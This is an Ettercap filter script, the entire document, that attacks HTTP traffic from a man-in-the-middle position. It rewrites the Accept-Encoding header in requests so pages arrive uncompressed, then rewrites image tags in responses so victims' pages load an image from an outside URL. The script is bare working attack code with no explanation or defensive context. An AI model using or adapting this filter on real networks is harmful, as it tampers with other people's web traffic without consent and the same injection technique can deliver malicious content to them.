Ettercap Filter

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://website.com/image.png\" ");
   replace("IMG SRC=", "img src=\"http://website.com/image.png\" ");
}